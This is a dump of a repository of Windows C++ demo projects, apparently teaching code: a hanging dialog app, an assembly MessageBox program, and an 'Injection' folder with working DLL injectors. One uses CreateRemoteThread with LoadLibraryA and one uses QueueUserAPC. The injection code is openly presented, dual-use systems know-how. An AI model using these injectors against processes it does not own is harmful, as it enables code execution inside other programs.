13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/EnumModules/EnumModules.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.11.35005.142
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "EnumModules", "EnumModules\EnumModules.vcxproj", "{A6014CAB-CD28-4046-8457-E605786F4142}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {A6014CAB-CD28-4046-8457-E605786F4142}.Debug|x64.ActiveCfg = Debug|x64
17 | {A6014CAB-CD28-4046-8457-E605786F4142}.Debug|x64.Build.0 = Debug|x64
18 | {A6014CAB-CD28-4046-8457-E605786F4142}.Debug|x86.ActiveCfg = Debug|Win32
19 | {A6014CAB-CD28-4046-8457-E605786F4142}.Debug|x86.Build.0 = Debug|Win32
20 | {A6014CAB-CD28-4046-8457-E605786F4142}.Release|x64.ActiveCfg = Release|x64
21 | {A6014CAB-CD28-4046-8457-E605786F4142}.Release|x64.Build.0 = Release|x64
22 | {A6014CAB-CD28-4046-8457-E605786F4142}.Release|x86.ActiveCfg = Release|Win32
23 | {A6014CAB-CD28-4046-8457-E605786F4142}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {0056BC93-7A9C-44E3-AF94-2B6CB0EDC73F}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/EnumModules/EnumModules/EnumModules.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/HangApp/HangApp.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.7.33711.374
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HangApp", "HangApp\HangApp.vcxproj", "{47ED5BE5-47E9-49CC-A674-408180553FF5}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Debug|x64.ActiveCfg = Debug|x64
17 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Debug|x64.Build.0 = Debug|x64
18 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Debug|x86.ActiveCfg = Debug|Win32
19 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Debug|x86.Build.0 = Debug|Win32
20 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Release|x64.ActiveCfg = Release|x64
21 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Release|x64.Build.0 = Release|x64
22 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Release|x86.ActiveCfg = Release|Win32
23 | {47ED5BE5-47E9-49CC-A674-408180553FF5}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {F76333C6-BEDE-47C8-B1E7-1C373A5D81FA}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/HangApp/HangApp/HangApp.cpp:
--------------------------------------------------------------------------------
1 | // HangApp.cpp : main source file for HangApp.exe
2 | //
3 |
4 | #include "stdafx.h"
5 |
6 | #include "resource.h"
7 |
8 | #include "MainDlg.h"
9 |
10 | CAppModule _Module;
11 | #include
12 | #pragma comment(lib, "ntdll")
13 |
14 | extern "C" NTSTATUS NTAPI RtlGetVersion(
15 | POSVERSIONINFO lpVersionInformation
16 | );
17 |
18 | int WINAPI _tWinMain(HINSTANCE hInstance, HINSTANCE /*hPrevInstance*/, LPTSTR /*lpstrCmdLine*/, int /*nCmdShow*/) {
19 | HRESULT hRes = ::CoInitialize(NULL);
20 | ATLASSERT(SUCCEEDED(hRes));
21 |
22 | OSVERSIONINFO osvi{ sizeof(osvi) };
23 | RtlGetVersion(&osvi);
24 |
25 | AtlInitCommonControls(ICC_BAR_CLASSES); // add flags to support other controls
26 |
27 | hRes = _Module.Init(NULL, hInstance);
28 | ATLASSERT(SUCCEEDED(hRes));
29 |
30 | int nRet = 0;
31 | // BLOCK: Run application
32 | {
33 | CMainDlg dlgMain;
34 | nRet = (int)dlgMain.DoModal();
35 | }
36 |
37 | _Module.Term();
38 | ::CoUninitialize();
39 |
40 | return nRet;
41 | }
42 |
--------------------------------------------------------------------------------
/HangApp/HangApp/HangApp.h:
--------------------------------------------------------------------------------
1 | // HangApp.h
2 |
--------------------------------------------------------------------------------
/HangApp/HangApp/HangApp.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {3b0b3307-82cf-49cf-a914-50a607abf3e7}
6 | cpp;c;cxx;def;odl;idl;hpj;bat;asm
7 |
8 |
9 | {26cbc70c-35bb-4c2f-9b26-b5f84a7f9a0d}
10 | h;hpp;hxx;hm;inl;inc
11 |
12 |
13 | {a55cf9b6-d04f-491a-8ff8-9ae2585d310e}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;jpg;jpeg;jpe;manifest
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 | Source Files
23 |
24 |
25 | Source Files
26 |
27 |
28 |
29 |
30 | Header Files
31 |
32 |
33 | Header Files
34 |
35 |
36 | Header Files
37 |
38 |
39 |
40 |
41 | Resource Files
42 |
43 |
44 |
45 |
46 | Resource Files
47 |
48 |
49 |
--------------------------------------------------------------------------------
/HangApp/HangApp/MainDlg.cpp:
--------------------------------------------------------------------------------
1 | // MainDlg.cpp : implementation of the CMainDlg class
2 | //
3 | /////////////////////////////////////////////////////////////////////////////
4 |
5 | #include "stdafx.h"
6 | #include "resource.h"
7 |
8 | #include "MainDlg.h"
9 |
10 | LRESULT CMainDlg::OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/) {
11 | // center the dialog on the screen
12 | CenterWindow();
13 |
14 | // set icons
15 | HICON hIcon = AtlLoadIconImage(IDR_MAINFRAME, LR_DEFAULTCOLOR, ::GetSystemMetrics(SM_CXICON), ::GetSystemMetrics(SM_CYICON));
16 | SetIcon(hIcon, TRUE);
17 | HICON hIconSmall = AtlLoadIconImage(IDR_MAINFRAME, LR_DEFAULTCOLOR, ::GetSystemMetrics(SM_CXSMICON), ::GetSystemMetrics(SM_CYSMICON));
18 | SetIcon(hIconSmall, FALSE);
19 |
20 | return TRUE;
21 | }
22 |
23 | LRESULT CMainDlg::OnAppAbout(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
24 | CSimpleDialog dlg;
25 | dlg.DoModal();
26 | return 0;
27 | }
28 |
29 | LRESULT CMainDlg::OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
30 | ::Sleep(13000);
31 |
32 | return 0;
33 | }
34 |
35 | LRESULT CMainDlg::OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/) {
36 | EndDialog(wID);
37 | return 0;
38 | }
39 |
--------------------------------------------------------------------------------
/HangApp/HangApp/MainDlg.h:
--------------------------------------------------------------------------------
1 | // MainDlg.h : interface of the CMainDlg class
2 | //
3 | /////////////////////////////////////////////////////////////////////////////
4 |
5 | #pragma once
6 |
7 | class CMainDlg : public CDialogImpl {
8 | public:
9 | enum { IDD = IDD_MAINDLG };
10 |
11 | BEGIN_MSG_MAP(CMainDlg)
12 | MESSAGE_HANDLER(WM_INITDIALOG, OnInitDialog)
13 | COMMAND_ID_HANDLER(ID_APP_ABOUT, OnAppAbout)
14 | COMMAND_ID_HANDLER(IDC_BUTTON, OnOK)
15 | COMMAND_ID_HANDLER(IDCANCEL, OnCancel)
16 | END_MSG_MAP()
17 |
18 | // Handler prototypes (uncomment arguments if needed):
19 | // LRESULT MessageHandler(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/)
20 | // LRESULT CommandHandler(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/)
21 | // LRESULT NotifyHandler(int /*idCtrl*/, LPNMHDR /*pnmh*/, BOOL& /*bHandled*/)
22 |
23 | LRESULT OnInitDialog(UINT /*uMsg*/, WPARAM /*wParam*/, LPARAM /*lParam*/, BOOL& /*bHandled*/);
24 | LRESULT OnAppAbout(WORD /*wNotifyCode*/, WORD /*wID*/, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
25 | LRESULT OnOK(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
26 | LRESULT OnCancel(WORD /*wNotifyCode*/, WORD wID, HWND /*hWndCtl*/, BOOL& /*bHandled*/);
27 | };
28 |
--------------------------------------------------------------------------------
/HangApp/HangApp/res/HangApp.ico:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/zodiacon/youtubecode/47c127a5f0d7ec57dde5a226dd828efabd586a84/HangApp/HangApp/res/HangApp.ico
--------------------------------------------------------------------------------
/HangApp/HangApp/resource.h:
--------------------------------------------------------------------------------
1 | //{{NO_DEPENDENCIES}}
2 | // Microsoft Visual C++ generated include file.
3 | // Used by HangApp.rc
4 | //
5 | #define IDD_ABOUTBOX 100
6 | #define IDR_MAINFRAME 128
7 | #define IDD_MAINDLG 129
8 | #define IDC_BUTTON1 1000
9 | #define IDC_BUTTON 1000
10 |
11 | // Next default values for new objects
12 | //
13 | #ifdef APSTUDIO_INVOKED
14 | #ifndef APSTUDIO_READONLY_SYMBOLS
15 | #define _APS_NEXT_RESOURCE_VALUE 202
16 | #define _APS_NEXT_COMMAND_VALUE 32775
17 | #define _APS_NEXT_CONTROL_VALUE 1001
18 | #define _APS_NEXT_SYMED_VALUE 101
19 | #endif
20 | #endif
21 |
--------------------------------------------------------------------------------
/HangApp/HangApp/stdafx.cpp:
--------------------------------------------------------------------------------
1 | // stdafx.cpp : source file that includes just the standard includes
2 | // HangApp.pch will be the pre-compiled header
3 | // stdafx.obj will contain the pre-compiled type information
4 |
5 | #include "stdafx.h"
6 |
--------------------------------------------------------------------------------
/HangApp/HangApp/stdafx.h:
--------------------------------------------------------------------------------
1 | // stdafx.h : include file for standard system include files,
2 | // or project specific include files that are used frequently, but
3 | // are changed infrequently
4 | //
5 |
6 | #pragma once
7 |
8 | // Change these values to use different versions
9 | #define WINVER 0x0601
10 | #define _WIN32_WINNT 0x0601
11 | #define _WIN32_IE 0x0700
12 | #define _RICHEDIT_VER 0x0500
13 |
14 | #include
15 | #include
16 |
17 | extern CAppModule _Module;
18 |
19 | #include
20 |
21 | #include
22 | #include
23 | #include
24 |
25 | #if defined _M_IX86
26 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='x86' publicKeyToken='6595b64144ccf1df' language='*'\"")
27 | #elif defined _M_IA64
28 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='ia64' publicKeyToken='6595b64144ccf1df' language='*'\"")
29 | #elif defined _M_X64
30 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='amd64' publicKeyToken='6595b64144ccf1df' language='*'\"")
31 | #else
32 | #pragma comment(linker, "/manifestdependency:\"type='win32' name='Microsoft.Windows.Common-Controls' version='6.0.0.0' processorArchitecture='*' publicKeyToken='6595b64144ccf1df' language='*'\"")
33 | #endif
34 |
--------------------------------------------------------------------------------
/HelloAssembly/HelloAssembly.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.9.34321.82
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "HelloAssembly", "HelloAssembly\HelloAssembly.vcxproj", "{CA78C893-C513-4E96-909D-F64D4691AD39}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|x64 = Debug|x64
11 | Debug|x86 = Debug|x86
12 | Release|x64 = Release|x64
13 | Release|x86 = Release|x86
14 | EndGlobalSection
15 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
16 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Debug|x64.ActiveCfg = Debug|x64
17 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Debug|x64.Build.0 = Debug|x64
18 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Debug|x86.ActiveCfg = Debug|Win32
19 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Debug|x86.Build.0 = Debug|Win32
20 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Release|x64.ActiveCfg = Release|x64
21 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Release|x64.Build.0 = Release|x64
22 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Release|x86.ActiveCfg = Release|Win32
23 | {CA78C893-C513-4E96-909D-F64D4691AD39}.Release|x86.Build.0 = Release|Win32
24 | EndGlobalSection
25 | GlobalSection(SolutionProperties) = preSolution
26 | HideSolutionNode = FALSE
27 | EndGlobalSection
28 | GlobalSection(ExtensibilityGlobals) = postSolution
29 | SolutionGuid = {B248B855-1CF8-4DF4-8E82-6F339277F09E}
30 | EndGlobalSection
31 | EndGlobal
32 |
--------------------------------------------------------------------------------
/HelloAssembly/HelloAssembly/Hello.asm:
--------------------------------------------------------------------------------
1 | .code
2 |
3 | includelib user32
4 |
5 | MessageBoxA proto
6 |
7 | MB_ICONINFORMATION equ 40h
8 |
9 | main proc
10 | sub rsp, 40
11 | xor rcx,rcx
12 | mov rdx, offset text
13 | mov r8, offset caption
14 | mov r9, MB_ICONINFORMATION
15 | call MessageBoxA
16 | add rsp, 40
17 | ret
18 | main endp
19 |
20 | .data
21 |
22 | caption db "Hello Assembly!", 0
23 | text db "This is a nice assembly program!"
24 |
25 | end
26 |
--------------------------------------------------------------------------------
/HelloAssembly/HelloAssembly/HelloAssembly.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Injection/APCInjector/APCInjector.cpp:
--------------------------------------------------------------------------------
1 | // APCInjector.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 | #include
8 |
9 | std::vector EnumThreads(DWORD pid) {
10 | HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
11 | if (hSnapshot == INVALID_HANDLE_VALUE)
12 | return {};
13 |
14 | THREADENTRY32 te;
15 | te.dwSize = sizeof(te);
16 |
17 | Thread32First(hSnapshot, &te);
18 | std::vector tids;
19 |
20 | while (Thread32Next(hSnapshot, &te)) {
21 | if (te.th32OwnerProcessID == pid)
22 | tids.push_back(te.th32ThreadID);
23 | }
24 | CloseHandle(hSnapshot);
25 | return tids;
26 | }
27 |
28 | int main(int argc, const char* argv[]) {
29 | if (argc < 3) {
30 | printf("Usage: Injector \n");
31 | return 0;
32 | }
33 |
34 | auto pid = atoi(argv[1]);
35 |
36 | auto tids = EnumThreads(pid);
37 | if (tids.empty()) {
38 | printf("No threads!\n");
39 | return 1;
40 | }
41 |
42 | HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
43 | PROCESS_CREATE_THREAD, FALSE, pid);
44 | if (!hProcess) {
45 | printf("Error opening process (%u)\n", GetLastError());
46 | return 1;
47 | }
48 |
49 | auto p = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE,
50 | PAGE_READWRITE);
51 |
52 | WriteProcessMemory(hProcess, p, argv[2], strlen(argv[2]) + 1, nullptr);
53 |
54 | for (auto tid : tids) {
55 | HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
56 | if (hThread) {
57 | QueueUserAPC((PAPCFUNC)GetProcAddress(GetModuleHandle(L"kernel32"),
58 | "LoadLibraryA"), hThread, (ULONG_PTR)p);
59 | CloseHandle(hThread);
60 | }
61 | }
62 |
63 | CloseHandle(hProcess);
64 |
65 | return 0;
66 | }
67 |
--------------------------------------------------------------------------------
/Injection/APCInjector/APCInjector.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Injection/InjectShellcode/InjectShellcode.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Injection/Injector/Injector.cpp:
--------------------------------------------------------------------------------
1 | // Injector.cpp : This file contains the 'main' function. Program execution begins and ends there.
2 | //
3 |
4 | #include
5 | #include
6 | #include
7 |
8 | int main(int argc, const char* argv[]) {
9 | if (argc < 3) {
10 | printf("Usage: Injector \n");
11 | return 0;
12 | }
13 |
14 | auto pid = atoi(argv[1]);
15 |
16 | HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION |
17 | PROCESS_CREATE_THREAD, FALSE, pid);
18 | if (!hProcess) {
19 | printf("Error opening process (%u)\n", GetLastError());
20 | return 1;
21 | }
22 |
23 | auto p = VirtualAllocEx(hProcess, nullptr, 1 << 12, MEM_COMMIT | MEM_RESERVE,
24 | PAGE_READWRITE);
25 | assert(p);
26 |
27 | WriteProcessMemory(hProcess, p, argv[2], strlen(argv[2]) + 1, nullptr);
28 |
29 | auto hThread = CreateRemoteThread(hProcess, nullptr, 0,
30 | (LPTHREAD_START_ROUTINE)GetProcAddress(
31 | GetModuleHandle(L"kernel32.dll"), "LoadLibraryA"),
32 | p, 0, nullptr);
33 | assert(hThread);
34 | WaitForSingleObject(hThread, INFINITE);
35 |
36 | CloseHandle(hThread);
37 | CloseHandle(hProcess);
38 |
39 | return 0;
40 | }
41 |
--------------------------------------------------------------------------------
/Injection/Injector/Injector.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/SimpleDll.cpp:
--------------------------------------------------------------------------------
1 | // SimpleDll.cpp : Defines the exported functions for the DLL.
2 | //
3 |
4 | #include "framework.h"
5 | #include "SimpleDll.h"
6 |
7 |
8 | // This is an example of an exported variable
9 | SIMPLEDLL_API int nSimpleDll=0;
10 |
11 | // This is an example of an exported function.
12 | SIMPLEDLL_API int fnSimpleDll(void)
13 | {
14 | return 0;
15 | }
16 |
17 | // This is the constructor of a class that has been exported.
18 | CSimpleDll::CSimpleDll()
19 | {
20 | return;
21 | }
22 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/SimpleDll.h:
--------------------------------------------------------------------------------
1 | // The following ifdef block is the standard way of creating macros which make exporting
2 | // from a DLL simpler. All files within this DLL are compiled with the SIMPLEDLL_EXPORTS
3 | // symbol defined on the command line. This symbol should not be defined on any project
4 | // that uses this DLL. This way any other project whose source files include this file see
5 | // SIMPLEDLL_API functions as being imported from a DLL, whereas this DLL sees symbols
6 | // defined with this macro as being exported.
7 | #ifdef SIMPLEDLL_EXPORTS
8 | #define SIMPLEDLL_API __declspec(dllexport)
9 | #else
10 | #define SIMPLEDLL_API __declspec(dllimport)
11 | #endif
12 |
13 | // This class is exported from the dll
14 | class SIMPLEDLL_API CSimpleDll {
15 | public:
16 | CSimpleDll(void);
17 | // TODO: add your methods here.
18 | };
19 |
20 | extern SIMPLEDLL_API int nSimpleDll;
21 |
22 | SIMPLEDLL_API int fnSimpleDll(void);
23 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/SimpleDll.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 | Header Files
23 |
24 |
25 | Header Files
26 |
27 |
28 |
29 |
30 | Source Files
31 |
32 |
33 | Source Files
34 |
35 |
36 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/cpp.hint:
--------------------------------------------------------------------------------
1 | #define SIMPLEDLL_API __declspec(dllexport)
2 | #define SIMPLEDLL_API __declspec(dllimport)
3 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/dllmain.cpp:
--------------------------------------------------------------------------------
1 | // dllmain.cpp : Defines the entry point for the DLL application.
2 | #include "framework.h"
3 |
4 | BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
5 | switch (reason) {
6 | case DLL_PROCESS_ATTACH:
7 | break;
8 |
9 | case DLL_THREAD_ATTACH:
10 | case DLL_THREAD_DETACH:
11 | case DLL_PROCESS_DETACH:
12 | break;
13 | }
14 | return TRUE;
15 | }
16 |
17 |
--------------------------------------------------------------------------------
/Injection/SimpleDll/framework.h:
--------------------------------------------------------------------------------
1 | // header.h : include file for standard system include files,
2 | // or project specific include files
3 | //
4 |
5 | #pragma once
6 |
7 | #define WIN32_LEAN_AND_MEAN // Exclude rarely-used stuff from Windows headers
8 | // Windows Header Files
9 | #include
10 |
--------------------------------------------------------------------------------
/Iocp/Iocp.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 17
4 | VisualStudioVersion = 17.12.35209.166
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Iocp", "Iocp\Iocp.vcxproj", "{7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}"
7 | EndProject
8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "Runaway", "Runaway\Runaway.vcxproj", "{7DA974F6-35D0-4A76-8654-21460241363F}"
9 | EndProject
10 | Global
11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
12 | Debug|x64 = Debug|x64
13 | Debug|x86 = Debug|x86
14 | Release|x64 = Release|x64
15 | Release|x86 = Release|x86
16 | EndGlobalSection
17 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
18 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Debug|x64.ActiveCfg = Debug|x64
19 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Debug|x64.Build.0 = Debug|x64
20 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Debug|x86.ActiveCfg = Debug|Win32
21 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Debug|x86.Build.0 = Debug|Win32
22 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Release|x64.ActiveCfg = Release|x64
23 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Release|x64.Build.0 = Release|x64
24 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Release|x86.ActiveCfg = Release|Win32
25 | {7C597614-D97C-4A8A-A6E8-9E330ACB5B4F}.Release|x86.Build.0 = Release|Win32
26 | {7DA974F6-35D0-4A76-8654-21460241363F}.Debug|x64.ActiveCfg = Debug|x64
27 | {7DA974F6-35D0-4A76-8654-21460241363F}.Debug|x64.Build.0 = Debug|x64
28 | {7DA974F6-35D0-4A76-8654-21460241363F}.Debug|x86.ActiveCfg = Debug|Win32
29 | {7DA974F6-35D0-4A76-8654-21460241363F}.Debug|x86.Build.0 = Debug|Win32
30 | {7DA974F6-35D0-4A76-8654-21460241363F}.Release|x64.ActiveCfg = Release|x64
31 | {7DA974F6-35D0-4A76-8654-21460241363F}.Release|x64.Build.0 = Release|x64
32 | {7DA974F6-35D0-4A76-8654-21460241363F}.Release|x86.ActiveCfg = Release|Win32
33 | {7DA974F6-35D0-4A76-8654-21460241363F}.Release|x86.Build.0 = Release|Win32
34 | EndGlobalSection
35 | GlobalSection(SolutionProperties) = preSolution
36 | HideSolutionNode = FALSE
37 | EndGlobalSection
38 | GlobalSection(ExtensibilityGlobals) = postSolution
39 | SolutionGuid = {911C05E6-FBC4-44A1-A98D-B7626C20FAF1}
40 | EndGlobalSection
41 | EndGlobal
42 |
--------------------------------------------------------------------------------
/Iocp/Iocp/Iocp.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/Iocp/Runaway/Runaway.cpp:
--------------------------------------------------------------------------------
